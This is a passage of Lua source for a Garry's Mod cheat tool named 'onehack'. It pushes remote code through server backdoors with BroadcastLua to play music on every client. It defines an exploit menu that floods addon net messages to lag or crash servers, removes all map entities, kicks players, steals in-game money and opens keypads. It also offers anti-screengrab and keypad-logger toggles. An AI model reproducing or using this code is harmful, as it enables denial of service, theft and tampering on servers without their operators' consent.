1121 net.SendToServer()
1122 end)
1123
1124 onehack.AddFunction("Музыка - Петушиный вой", "sound", buttlistback, function()
1125 onehack.NetStart( onehack.selectedbackdoor )
1126 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TU.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Skibidi\")]])")
1127 net.WriteBit(1)
1128 net.SendToServer()
1129 end)
1130
1131 onehack.AddFunction("Музыка - нет админа", "sound", buttlistback, function()
1132 onehack.NetStart( onehack.selectedbackdoor )
1133 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/92xM.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Поиг аю я в CS\")]])")
1134 net.WriteBit(1)
1135 net.SendToServer()
1136 end)
1137
1138 onehack.AddFunction("Музыка - Па авозик - Look At Me", "sound", buttlistback, function()
1139 onehack.NetStart( onehack.selectedbackdoor )
1140 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/69Q8.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Па авозик\")]])")
1141 net.WriteBit(1)
1142 net.SendToServer()
1143 end)
1144
1145 onehack.AddFunction("Музыка - П ивет всем д узьям", "sound", buttlistback, function()
1146 onehack.NetStart( onehack.selectedbackdoor )
1147 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://supronrp.fr/secret/03.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"П ивет всем!\")]])")
1148 net.WriteBit(1)
1149 net.SendToServer()
1150 end)
1151 -- http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3
1152 onehack.AddFunction("Музыка - Меня зовут НЛО.", "sound", buttlistback, function()
1153 onehack.NetStart( onehack.selectedbackdoor )
1154 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://musicdeouff.000webhostapp.com/2016.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Я НЛО\")]])")
1155 net.WriteBit(1)
1156 net.SendToServer()
1157 end)
1158
1159 onehack.AddFunction("Музыка - ТОМАС.", "sound", buttlistback, function()
1160 onehack.NetStart( onehack.selectedbackdoor )
1161 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://fl.bisyor.net/uploads/ru/2018/04/Alley-gang-paravozik-tomas_[www.Bisyor.net].mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Томас\")]])")
1162 net.WriteBit(1)
1163 net.SendToServer()
1164 end)
1165 --
1166 onehack.AddFunction("Музыка - DSD512►Lindsey Stirling Shatter Me", "sound", buttlistback, function()
1167 onehack.NetStart( onehack.selectedbackdoor )
1168 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"DSD512►Lindsey Stirling Shatter Me\")]])")
1169 net.WriteBit(1)
1170 net.SendToServer()
1171 end)
1172
1173 onehack.AddFunction("Музыка - Вишневая семё ка", "sound", buttlistback, function()
1174 onehack.NetStart( onehack.selectedbackdoor )
1175 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://dropmp3.ru/uploads/files/2018-08/1535648946_oni-vishnevaya-semerka.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Вишневая семё ка\")]])")
1176 net.WriteBit(1)
1177 net.SendToServer()
1178 end)
1179 onehack.AddFunction("Музыка - ООООООООООО ", "sound", buttlistback, function()
1180 onehack.NetStart( onehack.selectedbackdoor )
1181 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/6377.mp3\", \"mono\", function()end ); chat.AddText(,Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"-Уши\")]])")
1182 net.WriteBit(1)
1183 net.SendToServer()
1184 end)
1185 onehack.AddFunction("Музыка - Obeme", "sound", buttlistback, function()
1186 onehack.NetStart( onehack.selectedbackdoor )
1187 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/9Aed.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Обеме\")]])")
1188 net.WriteBit(1)
1189 net.SendToServer()
1190 end)
1191 --
1192 onehack.AddFunction("Музыка - Денза", "sound", buttlistback, function()
1193 onehack.NetStart( onehack.selectedbackdoor )
1194 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TW.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Денза\")]])")
1195 net.WriteBit(1)
1196 net.SendToServer()
1197 end)
1198 onehack.AddFunction("Музыка - Big baby tape", "sound", buttlistback, function()
1199 onehack.NetStart( onehack.selectedbackdoor )
1200 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://zenmusic.org/get/music/20181121/zenmusicorg_Big_Baby_Tape_-_YA_VZYAL_TVOYU_BU_I_YA_EJO_EBU_60457129.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"BABY TAPE\")]])")
1201 net.WriteBit(1)
1202 net.SendToServer()
1203 end)
1204
1205 if onehack.selectedpanel != nil then
1206 onehack.selectedpanel:Remove()
1207 end
1208 onehack.selectedpanel_id = 1
1209 onehack.selectedpanel = onehackdooropt
1210 end
1211
1212 function exploitmenuopt()
1213 exploitmenuopt = vgui.Create( "DPanel" , framesag )
1214 exploitmenuopt:SetPos( 126, 9 )
1215 exploitmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1216 function exploitmenuopt:Paint( w, h )
1217 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1218 end
1219
1220 onehack.exploitspanel = vgui.Create( "DPanel", exploitmenuopt )
1221 onehack.exploitspanel:SetPos(160,5)
1222 onehack.exploitspanel:SetSize(302,373)
1223 function onehack.exploitspanel:Paint( w,h )
1224 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1225 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1226 end
1227
1228 onehack.exploitsList = vgui.Create( "DScrollPanel", onehack.exploitspanel )
1229 onehack.exploitsList:Dock(FILL)
1230 function onehack.exploitsList:Paint( w,h )
1231 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1232 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1233 end
1234 onehack.exploitsList.VBar:SetWidth(1)
1235 onehack.exploitsList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar():GetWide(), onehack.exploitsList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1236 onehack.exploitsList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnUp:GetWide(), onehack.exploitsList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1237 onehack.exploitsList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnDown:GetWide(), onehack.exploitsList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1238 onehack.exploitsList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnGrip:GetWide(), onehack.exploitsList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1239
1240 onehack.exploits_players_list = vgui.Create( "DScrollPanel", exploitmenuopt )
1241 onehack.exploits_players_list:SetPos(5,25)
1242 onehack.exploits_players_list:SetSize(150,298)
1243 function onehack.exploits_players_list:Paint( w,h )
1244 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1245 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1246 end
1247 onehack.exploits_players_list.VBar:SetWidth(1)
1248 onehack.exploits_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar():GetWide(), onehack.exploits_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1249 onehack.exploits_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnUp:GetWide(), onehack.exploits_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1250 onehack.exploits_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnDown:GetWide(), onehack.exploits_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1251 onehack.exploits_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnGrip:GetWide(), onehack.exploits_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1252
1253 onehack.player_button_prev = vgui.Create( "DButton", exploitmenuopt )
1254 onehack.player_button_prev:SetText( "" )
1255 onehack.player_button_prev:SetPos(5,5)
1256 onehack.player_button_prev:SetSize(150,20)
1257 function onehack.player_button_prev:Paint( w,h )
1258 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1259 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1260 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
1261 end
1262
1263 onehack.player_button_all = onehack.exploits_players_list:Add( "DButton" )
1264 onehack.player_button_all:SetText( "" )
1265 onehack.player_button_all:Dock( TOP )
1266 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
1267 function onehack.player_button_all:Paint( w,h )
1268 if onehack.player_button_all:IsHovered() then
1269 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1270 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1271 else
1272 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1273 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1274 end
1275 if onehack.selected_player == 0 then
1276 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1277 else
1278 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1279 end
1280 end
1281 function onehack.player_button_all:DoClick()
1282 onehack.selected_player = 0
1283 end
1284
1285 for k,v in pairs(player.GetAll()) do
1286 local onehack_player_button = onehack.exploits_players_list:Add( "DButton" )
1287 onehack_player_button:SetText( "" )
1288 onehack_player_button:Dock( TOP )
1289 onehack_player_button:DockMargin( 0, 0, 0, 0 )
1290 onehack_player_button.Paint = function( _, w, h )
1291 if onehack_player_button:IsHovered() then
1292 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1293 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1294 else
1295 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1296 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1297 end
1298 if onehack.selected_player == v then
1299 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1300 else
1301 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1302 end
1303 end
1304 function onehack_player_button:DoClick()
1305 onehack.selected_player = v
1306 end
1307 end
1308
1309 onehack.exploitstrip_weapontype = vgui.Create("DTextEntry", exploitmenuopt)
1310 onehack.exploitstrip_weapontype:SetPos( 5, 329 )
1311 onehack.exploitstrip_weapontype:SetSize( 150, 25 )
1312 onehack.exploitstrip_weapontype:SetText( "" )
1313 onehack.exploitstrip_weapontype.Paint = function( self, w, h )
1314 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1315 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1316 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
1317 if onehack.exploitstrip_weapontype:GetValue() == "" then
1318 draw.SimpleText("Weapon class (* all)","DermaDefault",3,h/2,Color(255,255,255,5),0,1)
1319 end
1320 end
1321
1322 onehack.exploitstrip = vgui.Create( "DButton", exploitmenuopt )
1323 onehack.exploitstrip:SetPos( 5, 353 )
1324 onehack.exploitstrip:SetSize( 150, 25 )
1325 onehack.exploitstrip:SetText( "" )
1326 onehack.exploitstrip.Paint = function( _, w, h )
1327 if onehack.exploitstrip:IsHovered() then
1328 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1329 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1330 else
1331 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1332 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1333 end
1334 draw.SimpleText("Strip Weapon","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1335 end
1336 function onehack.exploitstrip:DoClick()
1337 if onehack.selected_player ~= 0 then
1338 local weapons = onehack.selected_player:GetWeapons()
1339 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1340 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1341 for _, g in pairs( weapons ) do
1342 for _, s in pairs( stringtotable ) do
1343 if string.find( string.lower( g:GetClass() ), s ) then
1344 onehack.StripWeapon( g )
1345 end
1346 end
1347 end
1348 else
1349 onehack.StripAllWeapons( weapons )
1350 end
1351 else
1352 for k,v in pairs(player.GetAll()) do
1353 local weapons = v:GetWeapons()
1354 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1355 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1356 for _, g in pairs( weapons ) do
1357 for _, s in pairs( stringtotable ) do
1358 if string.find( string.lower( g:GetClass() ), s ) then
1359 onehack.StripWeapon( g )
1360 end
1361 end
1362 end
1363 else
1364 onehack.StripAllWeapons( weapons )
1365 end
1366 end
1367 end
1368
1369
1370 end
1371
1372 if table.HasValue( onehack.AllNets, "StackGhost" ) then
1373 onehack.AddExploit("Server Lagger", function()
1374 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1375 for i = 1, 2000 do
1376 onehack.NetStart( str )
1377 onehack.NetWireInt(69,32)
1378 onehack.SendToServak()
1379 end
1380 end)
1381 end)
1382 end
1383 if table.HasValue( onehack.AllNets, "SyncPrinterButtons76561198056171650" ) then
1384 onehack.AddExploit("Steal money of printer", function()
1385 for _,v in pairs(ents.FindByClass("adv_moneyprinter")) do
1386 if v:IsValid() then
1387 onehack.NetStart( "SyncPrinterButtons76561198056171650" )
1388 net.WriteEntity(v)
1389 net.WriteUInt(2, 4)
1390 onehack.SendToServak()
1391 end
1392 end
1393 end)
1394 end
1395 if table.HasValue( onehack.AllNets, "DL_Answering" ) then
1396 onehack.AddExploit("Kick all", function()
1397 local function reportQuestionmark()
1398 for i = 1, 2000 do
1399 onehack.NetStart("DL_Answering")
1400 net.SendToServer()
1401 end
1402 end
1403 timer.Create(onehack.RandomString(10),0.1,50,reportQuestionmark)
1404 end)
1405 end
1406 if table.HasValue( onehack.AllNets, "pac_submit" ) then
1407 onehack.AddExploit("PAC Server Lagger", function()
1408 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1409 for i=1, 1000 do
1410 onehack.NetStart("pac_submit")
1411 onehack.SendToServak()
1412 end end)
1413 end)
1414 end
1415 if table.HasValue( onehack.AllNets, "Client_To_Server_OpenEditor" ) then
1416 onehack.AddExploit("Open menu SCP-249", function()
1417 onehack.NetStart("Client_To_Server_OpenEditor")
1418 onehack.SendToServak()
1419 end)
1420 end
1421
1422 if table.HasValue( onehack.AllNets, "BuyKey" ) then
1423 onehack.AddExploit("Blue UnBox buy crate and key", function()
1424 onehack.NetStart("BuyKey")
1425 onehack.SendToServak()
1426 onehack.NetStart("BuyCrate")
1427 onehack.SendToServak()
1428 end)
1429 end
1430
1431 if table.HasValue( onehack.AllNets, "ChangeOrgName" ) then
1432 onehack.AddExploit("Change org name", function()
1433 onehack.NetStart("ChangeOrgName")
1434 onehack.NetWireString("OOOOOOOOMMMMMMMMMMMGOOOOOOOOOOOOOOOOOD!")
1435 onehack.NetWireString("MY DICK SOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO BIIIIIIIIIIIG!")
1436 net.WriteEntity(LocalPlayer())
1437 onehack.SendToServak()
1438 end)
1439 end
1440
1441 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1442 onehack.AddExploit("Easy reward", function()
1443 onehack.NetStart("IS_SubmitSID_C2S")
1444 onehack.NetWireString("Killa")
1445 onehack.SendToServak()
1446 onehack.NetStart("IS_GetReward_C2S")
1447 onehack.SendToServak()
1448 end)
1449 end
1450
1451 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1452 onehack.AddExploit("Easy reward", function()
1453 onehack.NetStart("IS_SubmitSID_C2S")
1454 onehack.NetWireString("Killa")
1455 onehack.SendToServak()
1456 onehack.NetStart("IS_GetReward_C2S")
1457 onehack.SendToServak()
1458 end)
1459 end
1460
1461 if table.HasValue( onehack.AllNets, "properties" ) then
1462 onehack.AddExploit("Clear map", function()
1463 for k,v in pairs(ents.GetAll()) do
1464 onehack.NetStart("properties")
1465 onehack.NetWireString( "remove" , 32 )
1466 net.WriteEntity( v )
1467 onehack.SendToServak()
1468 end
1469 end)
1470 end
1471
1472 if table.HasValue( onehack.AllNets, "start_wd_emp" ) then
1473 onehack.AddExploit("Hack all keypad's", function()
1474 onehack.NetStart('start_wd_emp')
1475 onehack.SendToServak()
1476 end)
1477 end
1478
1479 if table.HasValue( onehack.AllNets, "pac.net.TouchFlexes.ClientNotify" ) then
1480 onehack.AddExploit("PAC Server Crash", function()
1481 timer.Create(onehack.RandomString(10), 0, 0, function()
1482 for i = 1, 400 do
1483 onehack.NetStart("pac.net.TouchFlexes.ClientNotify")
1484 net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1485 onehack.SendToServak()
1486 end
1487 end)
1488 end)
1489 end
1490
1491 if table.HasValue( onehack.AllNets, "ItemStoreDrop" ) then
1492 onehack.AddExploit("ItemStore Lagger", function()
1493 timer.Create(onehack.RandomString(10), 0, 0, function()
1494 for i = 1, 1000 do
1495 onehack.NetStart("ItemStoreDrop")
1496 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1497 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1498 onehack.SendToServak()
1499 end
1500 end)
1501 end)
1502 end
1503
1504 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1505 onehack.AddExploit("TFA Lagger", function()
1506 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1507 for i = 1, 4400 do
1508 onehack.NetStart("TFA_Attachment_RequestAll",true)
1509 onehack.SendToServak()
1510 end
1511 end)
1512 end)
1513 end
1514
1515 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1516 onehack.AddExploit("TFA Lagger", function()
1517 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1518 for i = 1, 4400 do
1519 onehack.NetStart("TFA_Attachment_RequestAll",true)
1520 onehack.SendToServak()
1521 end
1522 end)
1523 end)
1524 end
1525
1526 if table.HasValue( onehack.AllNets, "ts_buytitle" ) then
1527 onehack.AddExploit("Car Dealer Lagger", function()
1528 timer.Create(onehack.RandomString(10), 0, 0, function()
1529 for i=1,1000 do
1530 onehack.NetStart("ts_buytitle",true)
1531 net.WriteTable({})
1532 net.WriteTable({})
1533 net.WriteTable({})
1534 onehack.SendToServak()
1535 end
1536 end )
1537 end)
1538 end
1539
1540 if table.HasValue( onehack.AllNets, "EnterpriseWithdraw" ) then
1541 onehack.AddExploit("Withdraw moneyr", function()
1542 onehack.NetStart("EnterpriseWithdraw")
1543 net.WriteInt(100, 32)
1544 onehack.SendToServak()
1545 end)
1546 end
1547
1548 ---------------------------------------------------------------------------------------
1549 if onehack.selectedpanel != nil then
1550 onehack.selectedpanel:Remove()
1551 end
1552 onehack.selectedpanel_id = 2
1553 onehack.selectedpanel = exploitmenuopt
1554 end
1555
1556 function optionsmenuopt()
1557 optionsmenuopt = vgui.Create( "DPanel" , framesag )
1558 optionsmenuopt:SetPos( 126, 9 )
1559 optionsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1560 function optionsmenuopt:Paint( w, h )
1561 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1562 end
1563 local Theme = vgui.Create( "DColorMixer",optionsmenuopt);
1564 Theme:SetSize(227,227)
1565 Theme:SetPos(5,5)
1566 Theme:SetPalette( false )
1567 Theme:SetWangs( false )
1568 Theme:SetAlphaBar( false )
1569 Theme:SetColor(Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b))
1570 function Theme:ValueChanged( color)
1571 onehack.theme.chroma = Color(color.r,color.g,color.b)
1572 onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
1573 end
1574
1575 local asg = vgui.Create("DCheckBox",optionsmenuopt)
1576 asg:SetPos(237,5)
1577 asg:SetValue(onehack.Vars['ASR'])
1578 asg:SetSize(130,17)
1579 function asg:Paint(w,h)
1580 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1581 if asg:GetChecked() then
1582 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1583 end
1584 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1585 draw.SimpleText("Anti-ScreenGrab","DermaDefault",24,h/2,Color(255,255,255),0,1)
1586 onehack.Vars['ASR'] = asg:GetChecked()
1587 end
1588
1589 local asf = vgui.Create("DCheckBox",optionsmenuopt)
1590 asf:SetPos(237,27)
1591 asf:SetValue(onehack.Vars['ASF'])
1592 asf:SetSize(130,17)
1593 function asf:Paint(w,h)
1594 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1595 if asf:GetChecked() then
1596 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1597 end
1598 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1599 draw.SimpleText("Anti-FileSteal","DermaDefault",24,h/2,Color(255,255,255),0,1)
1600 onehack.Vars['ASF'] = asf:GetChecked()
1601 end
1602
1603 local bhop = vgui.Create("DCheckBox",optionsmenuopt)
1604 bhop:SetPos(237,49)
1605 bhop:SetValue(onehack.Vars['BHOP'])
1606 bhop:SetSize(130,17)
1607 function bhop:Paint(w,h)
1608 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1609 if bhop:GetChecked() then
1610 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1611 end
1612 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1613 draw.SimpleText("Bhop","DermaDefault",24,h/2,Color(255,255,255),0,1)
1614 onehack.Vars['BHOP'] = bhop:GetChecked()
1615 end
1616
1617 local WaterMark = vgui.Create("DCheckBox",optionsmenuopt)
1618 WaterMark:SetPos(237,72)
1619 WaterMark:SetValue(onehack.Vars['WaterMark'])
1620 WaterMark:SetSize(130,17)
1621 function WaterMark:Paint(w,h)
1622 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1623 if WaterMark:GetChecked() then
1624 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1625 end
1626 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1627 draw.SimpleText("WaterMark","DermaDefault",24,h/2,Color(255,255,255),0,1)
1628 onehack.Vars['WaterMark'] = WaterMark:GetChecked()
1629 end
1630
1631 local FreeCamBind = optionsmenuopt:Add( "DButton" )
1632 FreeCamBind:SetTextColor( Color( 200, 200, 200 ) )
1633 FreeCamBind:SetText( "" )
1634 FreeCamBind:SetPos(237,95)
1635 FreeCamBind:SetSize(225,23)
1636 function FreeCamBind:Paint( w,h )
1637 if FreeCamBind:IsHovered() then
1638 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1639 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1640 else
1641 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1642 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1643 end
1644 draw.SimpleText("Spectator Mode","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1645 end
1646
1647 FreeCamBind.DoClick = function()
1648 onehack.SpectateMode()
1649 end
1650
1651 local netname = vgui.Create( "DComboBox", optionsmenuopt )
1652 netname:SetPos( 237, 124 )
1653 netname:SetSize( 225, 23 )
1654 netname:SetValue( "Select Network String" )
1655 for _,v in pairs(onehack.foundednets) do
1656 netname:AddChoice( v )
1657 end
1658 netname.OnSelect = function( self, index, value )
1659 onehack.selectedbackdoor = value
1660 end
1661 netname.Paint = function( _, w, h )
1662 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1663 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1664 end
1665
1666 local weapnoslist = vgui.Create("DCheckBox",optionsmenuopt)
1667 weapnoslist:SetPos(237,172)
1668 weapnoslist:SetValue(onehack.Vars['WEAPON_LIST3D'])
1669 weapnoslist:SetSize(130,17)
1670 function weapnoslist:Paint(w,h)
1671 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1672 if weapnoslist:GetChecked() then
1673 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1674 end
1675 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1676 draw.SimpleText("Weapon list","DermaDefault",24,h/2,Color(255,255,255),0,1)
1677 onehack.Vars['WEAPON_LIST3D'] = weapnoslist:GetChecked()
1678 end
1679
1680 local keypadjef = vgui.Create("DCheckBox",optionsmenuopt)
1681 keypadjef:SetPos(237,192)
1682 keypadjef:SetValue(onehack.Vars['keypad_jiw'])
1683 keypadjef:SetSize(130,17)
1684 function keypadjef:Paint(w,h)
1685 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1686 if keypadjef:GetChecked() then
1687 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1688 end
1689 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1690 draw.SimpleText("Keypad logger","DermaDefault",24,h/2,Color(255,255,255),0,1)
1691 onehack.Vars['keypad_jiw'] = keypadjef:GetChecked()
1692 end
1693
1694 ------------------------------------------------------ onehack.Vars['ASR'] 1
1695 if onehack.selectedpanel != nil then
1696 onehack.selectedpanel:Remove()
1697 end
1698 onehack.selectedpanel_id = 3
1699 onehack.selectedpanel = optionsmenuopt
1700 end
1701
1702 function logsmenuopt()
1703 logsmenuopt = vgui.Create( "DPanel" , framesag )
1704 logsmenuopt:SetPos( 126, 9 )
1705 logsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1706 function logsmenuopt:Paint( w, h )
1707 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1708
1709 local red = 255 - (onehack.memory["logic"]*2.55)
1710 local green = onehack.memory["logic"] * 2.55
1711 local atadd = 52
1712 draw.RoundedBox(0,5,364,200+atadd,13,onehack.theme.backgroundalt2)
1713 draw.RoundedBox(0,6,365,(200-2)+atadd,13-2,onehack.theme.backgroundalt)
1714
1715 draw.RoundedBox(0,6, 365, math.Clamp( (onehack.memory["logic"]) * 0.75, 0, 200+atadd)-2, 13-2,Color(green,red, 0, 255) )
1716 draw.SimpleText("Core memory usage: "..onehack.memory["logic"].."kb","DermaDefault",(90-6)+atadd,363+(13/2),Color(255,255,255,100),1,1)
1717
1718 local red2 = 255 - (onehack.memory["hud"]*2.55)
1719 local green2 = onehack.memory["hud"] * 2.55
1720 local atstop = 257
1721 draw.RoundedBox(0,5+atstop,364,200,13,onehack.theme.backgroundalt2)
1722 draw.RoundedBox(0,6+atstop,365,200-2,13-2,onehack.theme.backgroundalt)
1723 local hudmemstext
1724 if onehack.memory["hud"] < 0 then
1725 hudmemstext = 0
1726 else
1727 hudmemstext = onehack.memory["hud"]
1728 end
1729
1730 draw.RoundedBox(0,6+atstop, 365, math.Clamp( (onehack.memory["hud"]) * 0.75, 0, 200)-2, 13-2,Color(green2,red2, 0, 255) )
1731 draw.SimpleText("Visuals memory usage: "..hudmemstext.."kb","DermaDefault",(110-6)+atstop,363+(13/2),Color(255,255,255,100),1,1)
1732 end
1733 logsmenuoptrichtext = vgui.Create( "RichText", logsmenuopt )
1734 logsmenuoptrichtext:SetPos(5, 5)
1735 logsmenuoptrichtext:SetSize( 457,353 ) --373
1736 logsmenuoptrichtext.Paint = function( _, w, h )
1737 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1738 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1739 end
1740 for idx, tab in pairs(onehack.debug) do
1741 logsmenuoptrichtext:InsertColorChange( tab[2].r, tab[2].g, tab[2].b, 255 )
